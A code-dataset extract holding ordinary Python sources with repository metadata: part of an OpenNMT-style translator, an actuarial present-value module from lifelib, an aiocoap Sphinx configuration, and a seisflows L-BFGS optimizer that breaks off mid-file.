stepwise_penalty=opt.stepwise_penalty, dump_beam=opt.dump_beam, block_ngram_repeat=opt.block_ngram_repeat, ignore_when_blocking=set(opt.ignore_when_blocking), replace_unk=opt.replace_unk, phrase_table=opt.phrase_table, data_type=opt.data_type, verbose=opt.verbose, report_time=opt.report_time, copy_attn=model_opt.copy_attn, global_scorer=global_scorer, out_file=out_file, report_align=report_align, report_score=report_score, logger=logger, seed=opt.seed) def _log(self, msg): if self.logger: self.logger.info(msg) else: print(msg) def _gold_score(self, batch, memory_bank, src_lengths, src_vocabs, use_src_map, enc_states, batch_size, src): if "tgt" in batch.__dict__: gs = self._score_target( batch, memory_bank, src_lengths, src_vocabs, batch.src_map if use_src_map else None) self.model.decoder.init_state(src, memory_bank, enc_states) else: gs = [0] * batch_size return gs def translate( self, src, tgt=None, src_dir=None, batch_size=None, batch_type="sents", attn_debug=False, align_debug=False, phrase_table=""): if batch_size is None: raise ValueError("batch_size must be set") src_data = {"reader": self.src_reader, "data": src, "dir": src_dir} tgt_data = {"reader": self.tgt_reader, "data": tgt, "dir": None} _readers, _data, _dir = inputters.Dataset.config( [('src', src_data), ('tgt', tgt_data)]) data = inputters.Dataset( self.fields, readers=_readers, data=_data, dirs=_dir, sort_key=inputters.str2sortkey[self.data_type], filter_pred=self._filter_pred ) data_iter = inputters.OrderedIterator( dataset=data, device=self._dev, batch_size=batch_size, batch_size_fn=max_tok_len if batch_type == "tokens" else None, train=False, sort=False, sort_within_batch=True, shuffle=False ) xlation_builder = onmt.translate.TranslationBuilder( data, self.fields, self.n_best, self.replace_unk, tgt, self.phrase_table ) counter = count(1) pred_score_total, pred_words_total = 0, 0 gold_score_total, gold_words_total = 0, 0 all_scores = [] all_predictions = [] start_time = time.time() for batch in data_iter: batch_data = self.translate_batch( batch, data.src_vocabs, attn_debug ) translations = xlation_builder.from_batch(batch_data) for trans in translations: all_scores += [trans.pred_scores[:self.n_best]] pred_score_total += trans.pred_scores[0] pred_words_total += len(trans.pred_sents[0]) if tgt is not None: gold_score_total += trans.gold_score gold_words_total += len(trans.gold_sent) + 1 n_best_preds = [" ".join(pred) for pred in trans.pred_sents[:self.n_best]] if self.report_align: align_pharaohs = [build_align_pharaoh(align) for align in trans.word_aligns[:self.n_best]] n_best_preds_align = [" ".join(align) for align in align_pharaohs] n_best_preds = [pred + " ||| " + align for pred, align in zip( n_best_preds, n_best_preds_align)] all_predictions += [n_best_preds] self.out_file.write('\n'.join(n_best_preds) + '\n') self.out_file.flush() if self.verbose: sent_number = next(counter) output = trans.log(sent_number) if self.logger: self.logger.info(output) else: os.write(1, output.encode('utf-8')) if attn_debug: preds = trans.pred_sents[0] preds.append('</s>') attns = trans.attns[0].tolist() if self.data_type == 'text': srcs = trans.src_raw else: srcs = [str(item) for item in range(len(attns[0]))] output = report_matrix(srcs, preds, attns) if self.logger: self.logger.info(output) else: os.write(1, output.encode('utf-8')) if align_debug: if trans.gold_sent is not None: tgts = trans.gold_sent else: tgts = trans.pred_sents[0] align = trans.word_aligns[0].tolist() if self.data_type == 'text': srcs = trans.src_raw else: srcs = [str(item) for item in range(len(align[0]))] output = report_matrix(srcs, tgts, align) if self.logger: self.logger.info(output) else: os.write(1, output.encode('utf-8')) end_time = time.time() if self.report_score: msg = self._report_score('PRED', pred_score_total, pred_words_total) self._log(msg) if tgt is not None: msg = self._report_score('GOLD', gold_score_total, gold_words_total) self._log(msg) if self.report_time: total_time = end_time - start_time self._log("Total translation time (s): %f" % total_time) self._log("Average translation time (s): %f" % ( total_time / len(all_predictions))) self._log("Tokens per second: %f" % ( pred_words_total / total_time)) if self.dump_beam: import json json.dump(self.translator.beam_accum, codecs.open(self.dump_beam, 'w', 'utf-8')) return all_scores, all_predictions def _align_pad_prediction(self, predictions, bos, pad): dtype, device = predictions[0][0].dtype, predictions[0][0].device flatten_tgt = [best.tolist() for bests in predictions for best in bests] paded_tgt = torch.tensor( list(zip_longest(*flatten_tgt, fillvalue=pad)), dtype=dtype, device=device).T bos_tensor = torch.full([paded_tgt.size(0), 1], bos, dtype=dtype, device=device) full_tgt = torch.cat((bos_tensor, paded_tgt), dim=-1) batched_nbest_predict = full_tgt.view( len(predictions), -1, full_tgt.size(-1)) return batched_nbest_predict def _align_forward(self, batch, predictions): if hasattr(batch, 'tgt'): batch_tgt_idxs = batch.tgt.transpose(1, 2).transpose(0, 2) else: batch_tgt_idxs = self._align_pad_prediction( predictions, bos=self._tgt_bos_idx, pad=self._tgt_pad_idx) tgt_mask = (batch_tgt_idxs.eq(self._tgt_pad_idx) | batch_tgt_idxs.eq(self._tgt_eos_idx) | batch_tgt_idxs.eq(self._tgt_bos_idx)) n_best = batch_tgt_idxs.size(1) src, enc_states, memory_bank, src_lengths = self._run_encoder(batch) src = tile(src, n_best, dim=1) enc_states = tile(enc_states, n_best, dim=1) if isinstance(memory_bank, tuple): memory_bank = tuple(tile(x, n_best, dim=1) for x in memory_bank) else: memory_bank = tile(memory_bank, n_best, dim=1) src_lengths = tile(src_lengths, n_best) self.model.decoder.init_state(src, memory_bank, enc_states) tgt = batch_tgt_idxs.view(-1, batch_tgt_idxs.size(-1)).T.unsqueeze(-1) dec_in = tgt[:-1] _, attns = self.model.decoder( dec_in, memory_bank, memory_lengths=src_lengths, with_align=True) alignment_attn = attns["align"] align_tgt_mask = tgt_mask.view(-1, tgt_mask.size(-1)) prediction_mask = align_tgt_mask[:, 1:] alignement = extract_alignment( alignment_attn, prediction_mask, src_lengths, n_best) return alignement def translate_batch(self, batch, src_vocabs, attn_debug): #self.model.decoder.set_eval_status(True) with torch.no_grad(): if self.beam_size == 1: decode_strategy = GreedySearch( pad=self._tgt_pad_idx, bos=self._tgt_bos_idx, eos=self._tgt_eos_idx, batch_size=batch.batch_size, min_length=self.min_length, max_length=self.max_length, block_ngram_repeat=self.block_ngram_repeat, exclusion_tokens=self._exclusion_idxs, return_attention=attn_debug or self.replace_unk, sampling_temp=self.random_sampling_temp, keep_topk=self.sample_from_topk) else: # TODO: support these blacklisted features assert not self.dump_beam decode_strategy = BeamSearch( self.beam_size, batch_size=batch.batch_size, pad=self._tgt_pad_idx, bos=self._tgt_bos_idx, eos=self._tgt_eos_idx, n_best=self.n_best, global_scorer=self.global_scorer, min_length=self.min_length, max_length=self.max_length, return_attention=attn_debug or self.replace_unk, block_ngram_repeat=self.block_ngram_repeat, exclusion_tokens=self._exclusion_idxs, stepwise_penalty=self.stepwise_penalty, ratio=self.ratio) #self.model.decoder.set_eval_status(False) return self._translate_batch_with_strategy(batch, src_vocabs, decode_strategy) def _run_encoder(self, batch): src, src_lengths = batch.src if isinstance(batch.src, tuple) \ else (batch.src, None) enc_states, memory_bank, src_lengths = self.model.encoder( src, src_lengths) if src_lengths is None: assert not isinstance(memory_bank, tuple), \ 'Ensemble decoding only supported for text data' src_lengths = torch.Tensor(batch.batch_size) \ .type_as(memory_bank) \ .long() \ .fill_(memory_bank.size(0)) return src, enc_states, memory_bank, src_lengths def _decode_and_generate( self, decoder_in, memory_bank, batch, src_vocabs, memory_lengths, src_map=None, step=None, batch_offset=None): if self.copy_attn: # Turn any copied words into UNKs. decoder_in = decoder_in.masked_fill( decoder_in.gt(self._tgt_vocab_len - 1), self._tgt_unk_idx ) # Decoder forward, takes [tgt_len, batch, nfeats] as input # and [src_len, batch, hidden] as memory_bank # in case of inference tgt_len = 1, batch = beam times batch_size # in case of Gold Scoring tgt_len = actual length, batch = 1 batch self.model.decoder.set_copy_info(batch, self._tgt_vocab) dec_out, dec_attn = self.model.decoder( decoder_in, memory_bank, memory_lengths=memory_lengths, step=step ) # Generator forward. if not self.copy_attn: if "std" in dec_attn: attn = dec_attn["std"] else: attn = None log_probs = self.model.generator(dec_out.squeeze(0)) # returns [(batch_size x beam_size) , vocab ] when 1 step # or [ tgt_len, batch_size, vocab ] when full sentence else: attn = dec_attn["copy"] #print("DEC_OUT: ", dec_out.size()) #print("ATTN: ", attn.size()) scores = self.model.generator(dec_out.view(-1, dec_out.size(2)), attn.view(-1, attn.size(2)), src_map) # here we have scores [tgt_lenxbatch, vocab] or [beamxbatch, vocab] if batch_offset is None: scores = scores.view(-1, batch.batch_size, scores.size(-1)) scores = scores.transpose(0, 1).contiguous() else: scores = scores.view(-1, self.beam_size, scores.size(-1)) #print("TGT_VOCAB: ", self._tgt_vocab) scores = collapse_copy_scores( scores, batch, self._tgt_vocab, src_vocabs, batch_dim=0, batch_offset=batch_offset ) scores = scores.view(decoder_in.size(0), -1, scores.size(-1)) log_probs = scores.squeeze(0).log() #print(log_probs.size()) # returns [(batch_size x beam_size) , vocab ] when 1 step # or [ tgt_len, batch_size, vocab ] when full sentence return log_probs, attn def _translate_batch_with_strategy( self, batch, src_vocabs, decode_strategy): # (0) Prep the components of the search. use_src_map = self.copy_attn parallel_paths = decode_strategy.parallel_paths # beam_size batch_size = batch.batch_size # (1) Run the encoder on the src. src, enc_states, memory_bank, src_lengths = self._run_encoder(batch) self.model.decoder.init_state(src, memory_bank, enc_states) results = { "predictions": None, "scores": None, "attention": None, "batch": batch, "gold_score": self._gold_score( batch, memory_bank, src_lengths, src_vocabs, use_src_map, enc_states, batch_size, src)} # (2) prep decode_strategy. Possibly repeat src objects. src_map = batch.src_map if use_src_map else None fn_map_state, memory_bank, memory_lengths, src_map = \ decode_strategy.initialize(memory_bank, src_lengths, src_map) if fn_map_state is not None: self.model.decoder.map_state(fn_map_state) # (3) Begin decoding step by step: for step in range(decode_strategy.max_length): decoder_input = decode_strategy.current_predictions.view(1, -1, 1) log_probs, attn = self._decode_and_generate( decoder_input, memory_bank, batch, src_vocabs, memory_lengths=memory_lengths, src_map=src_map, step=step, batch_offset=decode_strategy.batch_offset) decode_strategy.advance(log_probs, attn) any_finished = decode_strategy.is_finished.any() if any_finished: decode_strategy.update_finished() if decode_strategy.done: break select_indices = decode_strategy.select_indices if any_finished: # Reorder states. if isinstance(memory_bank, tuple): memory_bank = tuple(x.index_select(1, select_indices) for x in memory_bank) else: memory_bank = memory_bank.index_select(1, select_indices) memory_lengths = memory_lengths.index_select(0, select_indices) if src_map is not None: src_map = src_map.index_select(1, select_indices) if parallel_paths > 1 or any_finished: self.model.decoder.map_state( lambda state, dim: state.index_select(dim, select_indices)) results["scores"] = decode_strategy.scores results["predictions"] = decode_strategy.predictions results["attention"] = decode_strategy.attention if self.report_align: results["alignment"] = self._align_forward( batch, decode_strategy.predictions) else: results["alignment"] = [[] for _ in range(batch_size)] return results def _score_target(self, batch, memory_bank, src_lengths, src_vocabs, src_map): tgt = batch.tgt tgt_in = tgt[:-1] log_probs, attn = self._decode_and_generate( tgt_in, memory_bank, batch, src_vocabs, memory_lengths=src_lengths, src_map=src_map) log_probs[:, :, self._tgt_pad_idx] = 0 gold = tgt[1:] gold_scores = log_probs.gather(2, gold) gold_scores = gold_scores.sum(dim=0).view(-1) return gold_scores def _report_score(self, name, score_total, words_total): if words_total == 0: msg = "%s No words predicted" % (name,) else: avg_score = score_total / words_total ppl = np.exp(-score_total.item() / words_total) msg = ("%s AVG SCORE: %.4f, %s PPL: %.4f" % ( name, avg_score, name, ppl)) return msg

true

f7f35045e2629436b2dd2258f946a96c4a88d0c8

3,278

py

Python

lifelib/projects/simplelife/model/PV/__init__.py

fumitoh/lifelib

01b6fec4453b309808c1c7ca6867c7dce50668dc

[ "MIT" ]

77

2018-03-02T05:21:43.000Z

2022-03-26T20:29:59.000Z

lifelib/projects/simplelife/model/PV/__init__.py

dayeoni-1376/lifelib

e65ba42843e8ae5f00ea795a8bb29ccd6e99ba54

[ "MIT" ]

10

2018-02-17T03:07:20.000Z

2021-11-15T13:40:15.000Z

lifelib/projects/simplelife/model/PV/__init__.py

dayeoni-1376/lifelib

e65ba42843e8ae5f00ea795a8bb29ccd6e99ba54

[ "MIT" ]

24

2018-03-12T20:01:06.000Z

2022-03-07T06:06:18.000Z

"""Present Value mix-in Space This Space serves as a base Space for :mod:`~simplelife.model.Projection` Space, and it contains Cells to take the present value of projected cashflows. .. blockdiag:: blockdiag { default_node_color="#D5E8D4"; default_linecolor="#628E47"; BaseProj[style=dotted] BaseProj <- Projection [hstyle=generalization] PV[style=dotted] PV <- Projection [hstyle=generalization]; } """ from modelx.serialize.jsonvalues import * _formula = None _bases = [] _allow_none = None _spaces = [] # --------------------------------------------------------------------------- # Cells def InterestNetCF(t): """Interest accreted on pv of net cashflows""" if t > last_t: return 0 else: return (PV_NetCashflow(t) - PremIncome(t) + ExpsTotal(t)) * DiscRate(t) def PV_BenefitDeath(t): """Present value of death benefits""" if t > last_t: return 0 else: return (-BenefitDeath(t) + PV_BenefitDeath(t+1)) / (1 + DiscRate(t)) def PV_BenefitMat(t): """Present value of matuirty benefits""" if t > last_t: return 0 else: return (-BenefitMat(t) + PV_BenefitMat(t+1)) / (1 + DiscRate(t)) def PV_BenefitSurr(t): """Present value of surrender benefits""" if t > last_t: return 0 else: return (-BenefitSurr(t) + PV_BenefitSurr(t+1)) / (1 + DiscRate(t)) def PV_BenefitTotal(t): """Present value of total benefits""" if t > last_t: return 0 else: return (-BenefitTotal(t) + PV_BenefitTotal(t+1)) / (1 + DiscRate(t)) def PV_Check(t): return PV_NetCashflow(t) - PV_NetCashflowForCheck(t) def PV_ExpsAcq(t): """Present value of acquisition expenses""" if t > last_t: return 0 else: return - ExpsAcq(t) + PV_ExpsAcq(t+1) / (1 + DiscRate(t)) def PV_ExpsCommTotal(t): """Present value of commission expenses""" if t > last_t: return 0 else: return - ExpsCommTotal(t) + PV_ExpsCommTotal(t+1) / (1 + DiscRate(t)) def PV_ExpsMaint(t): """Present value of maintenance expenses""" if t > last_t: return 0 else: return - ExpsMaint(t) + PV_ExpsMaint(t+1) / (1 + DiscRate(t)) def PV_ExpsTotal(t): """Present value of total expenses""" if t > last_t: return 0 else: return - ExpsTotal(t) + PV_ExpsTotal(t+1) / (1 + DiscRate(t)) def PV_NetCashflow(t): """Present value of net cashflow""" return (PV_PremIncome(t) + PV_ExpsTotal(t) + PV_BenefitTotal(t)) def PV_NetCashflowForCheck(t): """Present value of net cashflow""" if t > last_t: return 0 else: return (PremIncome(t) - ExpsTotal(t) - BenefitTotal(t) / (1 + DiscRate(t)) + PV_NetCashflow(t+1) / (1 + DiscRate(t))) def PV_PremIncome(t): """Present value of premium income""" if t > last_t: return 0 else: return PremIncome(t) + PV_PremIncome(t+1) / (1 + DiscRate(t)) def PV_SumInsurIF(t): """Present value of insurance in-force""" if t > last_t: return 0 else: return InsurIF_Beg1(t) + PV_SumInsurIF(t+1) / (1 + DiscRate(t))

22.763889

78

0.581452

from modelx.serialize.jsonvalues import * _formula = None _bases = [] _allow_none = None _spaces = [] def InterestNetCF(t): if t > last_t: return 0 else: return (PV_NetCashflow(t) - PremIncome(t) + ExpsTotal(t)) * DiscRate(t) def PV_BenefitDeath(t): if t > last_t: return 0 else: return (-BenefitDeath(t) + PV_BenefitDeath(t+1)) / (1 + DiscRate(t)) def PV_BenefitMat(t): if t > last_t: return 0 else: return (-BenefitMat(t) + PV_BenefitMat(t+1)) / (1 + DiscRate(t)) def PV_BenefitSurr(t): if t > last_t: return 0 else: return (-BenefitSurr(t) + PV_BenefitSurr(t+1)) / (1 + DiscRate(t)) def PV_BenefitTotal(t): if t > last_t: return 0 else: return (-BenefitTotal(t) + PV_BenefitTotal(t+1)) / (1 + DiscRate(t)) def PV_Check(t): return PV_NetCashflow(t) - PV_NetCashflowForCheck(t) def PV_ExpsAcq(t): if t > last_t: return 0 else: return - ExpsAcq(t) + PV_ExpsAcq(t+1) / (1 + DiscRate(t)) def PV_ExpsCommTotal(t): if t > last_t: return 0 else: return - ExpsCommTotal(t) + PV_ExpsCommTotal(t+1) / (1 + DiscRate(t)) def PV_ExpsMaint(t): if t > last_t: return 0 else: return - ExpsMaint(t) + PV_ExpsMaint(t+1) / (1 + DiscRate(t)) def PV_ExpsTotal(t): if t > last_t: return 0 else: return - ExpsTotal(t) + PV_ExpsTotal(t+1) / (1 + DiscRate(t)) def PV_NetCashflow(t): return (PV_PremIncome(t) + PV_ExpsTotal(t) + PV_BenefitTotal(t)) def PV_NetCashflowForCheck(t): if t > last_t: return 0 else: return (PremIncome(t) - ExpsTotal(t) - BenefitTotal(t) / (1 + DiscRate(t)) + PV_NetCashflow(t+1) / (1 + DiscRate(t))) def PV_PremIncome(t): if t > last_t: return 0 else: return PremIncome(t) + PV_PremIncome(t+1) / (1 + DiscRate(t)) def PV_SumInsurIF(t): if t > last_t: return 0 else: return InsurIF_Beg1(t) + PV_SumInsurIF(t+1) / (1 + DiscRate(t))

true

f7f350a63a1af7c0d3304763e538cf00885c0ff1

6,076

py

Python

doc/conf.py

alanc10n/aiocoap

ac5e449ce5c34cc9c9310a8a3188d84167d440e8

[ "MIT" ]

5

2015-11-13T08:41:10.000Z

2016-11-25T18:00:01.000Z

doc/conf.py

FvD/aiocoap

288e5a6a0320a9d9ca6fc04de9ea9307cbb0b374

[ "MIT" ]

6

2015-12-18T18:59:47.000Z

2018-02-23T16:41:52.000Z

doc/conf.py

FvD/aiocoap

288e5a6a0320a9d9ca6fc04de9ea9307cbb0b374

[ "MIT" ]

2

2015-11-17T01:46:44.000Z

2019-09-15T12:51:00.000Z

# -*- coding: utf-8 -*- # # txThings asyncio branch documentation build configuration file, created by # sphinx-quickstart on Wed Jun 4 09:40:16 2014. # # This file is execfile()d with the current directory set to its # containing dir. # # Note that not all possible configuration values are present in this # autogenerated file. # # All configuration values have a default; values that are commented out # serve to show the default. import sys import os # If extensions (or modules to document with autodoc) are in another directory, # add these directories to sys.path here. If the directory is relative to the # documentation root, use os.path.abspath to make it absolute, like shown here. sys.path.insert(0, os.path.abspath('.')) # maybe required for readthedocs sys.path.insert(0, os.path.abspath('..')) # -- General configuration ------------------------------------------------ # If your documentation needs a minimal Sphinx version, state it here. #needs_sphinx = '1.0' # Add any Sphinx extension module names here, as strings. They can be # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom # ones. extensions = [ 'sphinx.ext.autodoc', ] # Add any paths that contain templates here, relative to this directory. templates_path = ['_templates'] # The suffix of source filenames. source_suffix = '.rst' # The encoding of source files. #source_encoding = 'utf-8-sig' # The master toctree document. master_doc = 'index' # General information about the project. project = u'aiocoap' copyright = u'2014, Maciej Wasilak, Christian Amsüss' # The version info for the project you're documenting, acts as replacement for # |version| and |release|, also used in various other places throughout the # built documents. # # The short X.Y version. version = '0.1' # The full version, including alpha/beta/rc tags. release = '0.1' # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. #language = None # There are two options for replacing |today|: either, you set today to some # non-false value, then it is used: #today = '' # Else, today_fmt is used as the format for a strftime call. #today_fmt = '%B %d, %Y' # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. exclude_patterns = [] # The reST default role (used for this markup: `text`) to use for all # documents. #default_role = None # If true, '()' will be appended to :func: etc. cross-reference text. #add_function_parentheses = True # If true, the current module name will be prepended to all description # unit titles (such as .. function::). #add_module_names = True # If true, sectionauthor and moduleauthor directives will be shown in the # output. They are ignored by default. #show_authors = False # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' # A list of ignored prefixes for module index sorting. #modindex_common_prefix = [] # If true, keep warnings as "system message" paragraphs in the built documents. #keep_warnings = False # -- Options for HTML output ---------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. html_theme = 'default' # Theme options are theme-specific and customize the look and feel of a theme # further. For a list of options available for each theme, see the # documentation. #html_theme_options = {} # Add any paths that contain custom themes here, relative to this directory. #html_theme_path = [] # The name for this set of Sphinx documents. If None, it defaults to # "<project> v<release> documentation". #html_title = None # A shorter title for the navigation bar. Default is the same as html_title. #html_short_title = None # The name of an image file (relative to this directory) to place at the top # of the sidebar. #html_logo = None # The name of an image file (within the static path) to use as favicon of the # docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32 # pixels large. #html_favicon = None # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = ['_static'] # Add any extra paths that contain custom files (such as robots.txt or # .htaccess) here, relative to this directory. These files are copied # directly to the root of the documentation. #html_extra_path = [] # If not '', a 'Last updated on:' timestamp is inserted at every page bottom, # using the given strftime format. #html_last_updated_fmt = '%b %d, %Y' # If true, SmartyPants will be used to convert quotes and dashes to # typographically correct entities. #html_use_smartypants = True # Custom sidebar templates, maps document names to template names. #html_sidebars = {} # Additional templates that should be rendered to pages, maps page names to # template names. #html_additional_pages = {} # If false, no module index is generated. #html_domain_indices = True # If false, no index is generated. #html_use_index = True # If true, the index is split into individual pages for each letter. #html_split_index = False # If true, links to the reST sources are added to the pages. #html_show_sourcelink = True # If true, "Created using Sphinx" is shown in the HTML footer. Default is True. #html_show_sphinx = True # If true, "(C) Copyright ..." is shown in the HTML footer. Default is True. #html_show_copyright = True # If true, an OpenSearch description file will be output, and all pages will # contain a <link> tag referring to it. The value of this option must be the # base URL from which the finished HTML is served. #html_use_opensearch = '' # This is the file name suffix for HTML files (e.g. ".xhtml"). #html_file_suffix = None # Output file base name for HTML help builder. htmlhelp_basename = 'aiocoap' autodoc_member_order = 'bysource'

32.666667

79

0.734529

import sys import os sys.path.insert(0, os.path.abspath('.')) sys.path.insert(0, os.path.abspath('..')) extensions = [ 'sphinx.ext.autodoc', ] templates_path = ['_templates'] source_suffix = '.rst' master_doc = 'index' project = u'aiocoap' copyright = u'2014, Maciej Wasilak, Christian Amsüss' # |version| and |release|, also used in various other places throughout the # built documents. # # The short X.Y version. version = '0.1' # The full version, including alpha/beta/rc tags. release = '0.1' # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. #language = None # There are two options for replacing |today|: either, you set today to some # non-false value, then it is used: #today = '' # Else, today_fmt is used as the format for a strftime call. #today_fmt = '%B %d, %Y' # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. exclude_patterns = [] # The reST default role (used for this markup: `text`) to use for all # documents. #default_role = None # If true, '()' will be appended to :func: etc. cross-reference text. #add_function_parentheses = True # If true, the current module name will be prepended to all description # unit titles (such as .. function::). #add_module_names = True # If true, sectionauthor and moduleauthor directives will be shown in the # output. They are ignored by default. #show_authors = False # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' # A list of ignored prefixes for module index sorting. #modindex_common_prefix = [] # If true, keep warnings as "system message" paragraphs in the built documents. #keep_warnings = False # -- Options for HTML output ---------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. html_theme = 'default' # Theme options are theme-specific and customize the look and feel of a theme # further. For a list of options available for each theme, see the # documentation. #html_theme_options = {} # Add any paths that contain custom themes here, relative to this directory. #html_theme_path = [] # The name for this set of Sphinx documents. If None, it defaults to # "<project> v<release> documentation". #html_title = None # A shorter title for the navigation bar. Default is the same as html_title. #html_short_title = None # The name of an image file (relative to this directory) to place at the top # of the sidebar. #html_logo = None # The name of an image file (within the static path) to use as favicon of the # docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32 # pixels large. #html_favicon = None # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = ['_static'] # Add any extra paths that contain custom files (such as robots.txt or # .htaccess) here, relative to this directory. These files are copied # directly to the root of the documentation. #html_extra_path = [] # If not '', a 'Last updated on:' timestamp is inserted at every page bottom, # using the given strftime format. #html_last_updated_fmt = '%b %d, %Y' # If true, SmartyPants will be used to convert quotes and dashes to # typographically correct entities. #html_use_smartypants = True # Custom sidebar templates, maps document names to template names. #html_sidebars = {} # Additional templates that should be rendered to pages, maps page names to # template names. #html_additional_pages = {} # If false, no module index is generated. #html_domain_indices = True # If false, no index is generated. #html_use_index = True # If true, the index is split into individual pages for each letter. #html_split_index = False # If true, links to the reST sources are added to the pages. #html_show_sourcelink = True # If true, "Created using Sphinx" is shown in the HTML footer. Default is True. #html_show_sphinx = True # If true, "(C) Copyright ..." is shown in the HTML footer. Default is True. #html_show_copyright = True # If true, an OpenSearch description file will be output, and all pages will # contain a <link> tag referring to it. The value of this option must be the # base URL from which the finished HTML is served. #html_use_opensearch = '' # This is the file name suffix for HTML files (e.g. ".xhtml"). #html_file_suffix = None # Output file base name for HTML help builder. htmlhelp_basename = 'aiocoap' autodoc_member_order = 'bysource'

true

f7f351cced761f324f0118044fd379ea5d086f98

4,111

py

Python

seisflows/optimize/lib/LBFGS.py

chukren/seisflows

c4a5a8a9411b365c9bba818f6ed3ba03f24e681b

[ "BSD-2-Clause" ]

1

2017-08-31T09:11:39.000Z

seisflows/optimize/lib/LBFGS.py

chukren/seisflows

c4a5a8a9411b365c9bba818f6ed3ba03f24e681b

[ "BSD-2-Clause" ]

null

seisflows/optimize/lib/LBFGS.py

chukren/seisflows

c4a5a8a9411b365c9bba818f6ed3ba03f24e681b

[ "BSD-2-Clause" ]

1

2020-04-16T08:38:49.000Z

import numpy as np from seisflows.tools import unix from seisflows.tools.array import loadnpy, savenpy from seisflows.tools.code import savetxt, exists from seisflows.tools.math import angle class LBFGS(object): """ Limited-memory BFGS algorithm Includes optional safeguards: periodic restarting and descent conditions. To conserve memory, most vectors are read from disk rather than passed from a calling routine. """ def __init__(self, path='.', load=loadnpy, save=savenpy, memory=5, thresh=0., maxiter=np.inf, precond=None): assert exists(path) unix.cd(path) unix.mkdir('LBFGS') self.path = path self.load = load self.save = save self.thresh = thresh self.maxiter = maxiter self.precond = precond self.memory = memory self.iter = 0 self.memory_used = 0 def __call__(self): """ Returns L-BFGS search direction """ self.iter += 1 g = self.load('g_new') if self.iter == 1: return -g, 0 elif self.iter > self.maxiter: print 'restarting LBFGS... [periodic restart]' self.restart() return -g, 1 S, Y = self.update() q = self.apply(g, S, Y) status = self.check_status(g,q) if status != 0: self.restart() return -g, status else: return -q, status def update(self): """ Updates L-BFGS algorithm history """ unix.cd(self.path) s = self.load('m_new') - self.load('m_old') y = self.load('g_new') - self.load('g_old') m = len(s) n = self.memory if self.memory_used == 0: S = np.memmap('LBFGS/S', mode='w+', dtype='float32', shape=(m, n)) Y = np.memmap('LBFGS/Y', mode='w+', dtype='float32', shape=(m, n)) S[:, 0] = s Y[:, 0] = y self.memory_used = 1 else: S = np.memmap('LBFGS/S', mode='r+', dtype='float32', shape=(m, n)) Y = np.memmap('LBFGS/Y', mode='r+', dtype='float32', shape=(m, n)) S[:, 1:] = S[:, :-1] Y[:, 1:] = Y[:, :-1] S[:, 0] = s Y[:, 0] = y if self.memory_used < self.memory: self.memory_used += 1 return S, Y def apply(self, q, S=[], Y=[]): """ Applies L-BFGS inverse Hessian to given vector """ unix.cd(self.path) if S==[] or Y==[]: m = len(q) n = self.memory S = np.memmap('LBFGS/S', mode='w+', dtype='float32', shape=(m, n)) Y = np.memmap('LBFGS/Y', mode='w+', dtype='float32', shape=(m, n)) # first matrix product kk = self.memory_used rh = np.zeros(kk) al = np.zeros(kk) for ii in range(kk): rh[ii] = 1/np.dot(Y[:,ii], S[:,ii]) al[ii] = rh[ii]*np.dot(S[:,ii], q) q = q - al[ii]*Y[:,ii] if self.precond: r = self.precond(q) else: r = q # use scaling M3 proposed by Liu and Nocedal 1989 sty = np.dot(Y[:,0], S[:,0]) yty = np.dot(Y[:,0], Y[:,0]) r *= sty/yty # second matrix product for ii in range(kk-1, -1, -1): be = rh[ii]*np.dot(Y[:,ii], r) r = r + S[:,ii]*(al[ii] - be) return r def restart(self): """ Discards history and resets counters """ self.iter = 1 self.memory_used = 0 unix.cd(self.path) S = np.memmap('LBFGS/S', mode='r+') Y = np.memmap('LBFGS/Y', mode='r+') S[:] = 0. Y[:] = 0. def check_status(self, g, r): theta = 180.*np.pi**-1*angle(g,r) if not 0. < theta < 90.: print 'restarting LBFGS... [not a descent direction]' return 1 elif theta > 90. - self.thresh: print 'restarting LBFGS... [practical safeguard]' return 1 else: return 0

26.184713

112

0.486256

import numpy as np from seisflows.tools import unix from seisflows.tools.array import loadnpy, savenpy from seisflows.tools.code import savetxt, exists from seisflows.tools.math import angle class LBFGS(object): """ Limited-memory BFGS algorithm Includes optional safeguards: periodic restarting and descent conditions. To conserve memory, most vectors are read from disk rather than passed from a calling routine. """ def __init__(self, path='.', load=loadnpy, save=savenpy, memory=5, thresh=0., maxiter=np.inf, precond=None): assert exists(path) unix.cd(path) unix.mkdir('LBFGS') self.path = path self.load = load self.save = save self.thresh = thresh self.maxiter = maxiter self.precond = precond self.memory = memory self.iter = 0 self.memory_used = 0 def __call__(self): """ Returns L-BFGS search direction """ self.iter += 1 g = self.load('g_new') if self.iter == 1: return -g, 0 elif self.iter > self.maxiter: print 'restarting LBFGS... [periodic restart]' self.restart() return -g, 1 S, Y = self.update() q = self.apply(g, S, Y) status = self.check_status(g,q) if status != 0: self.restart() return -g, status else: return -q, status def update(self): """ Updates L-BFGS algorithm history """ unix.cd(self.path) s = self.load('m_new') - self.load('m_old') y = self.load('g_new') - self.load('g_old') m = len(s) n = self.memory if self.memory_used == 0: S = np.memmap('LBFGS/S', mode='w+', dtype='float32', shape=(m, n)) Y = np.memmap('LBFGS/Y', mode='w+', dtype='float32', shape=(m, n)) S[:, 0] = s Y[:, 0] = y self.memory_used = 1 else: S = np.memmap('LBFGS/S', mode='r+', dtype='float32', shape=(m, n)) Y = np.memmap('LBFGS/Y', mode='r+', dtype='float32', shape=(m, n)) S[:, 1:] = S[:, :-1] Y[:, 1:] = Y[:, :-1] S[:, 0] = s Y[:, 0] = y if self.memory_used < self.memory: self.memory_used += 1 return S, Y def apply(self, q, S=[], Y=[]): """ Applies L-BFGS inverse Hessian to given vector """ unix.cd(self.path) if S==[] or Y==[]: m = len(q) n = self.memory S = 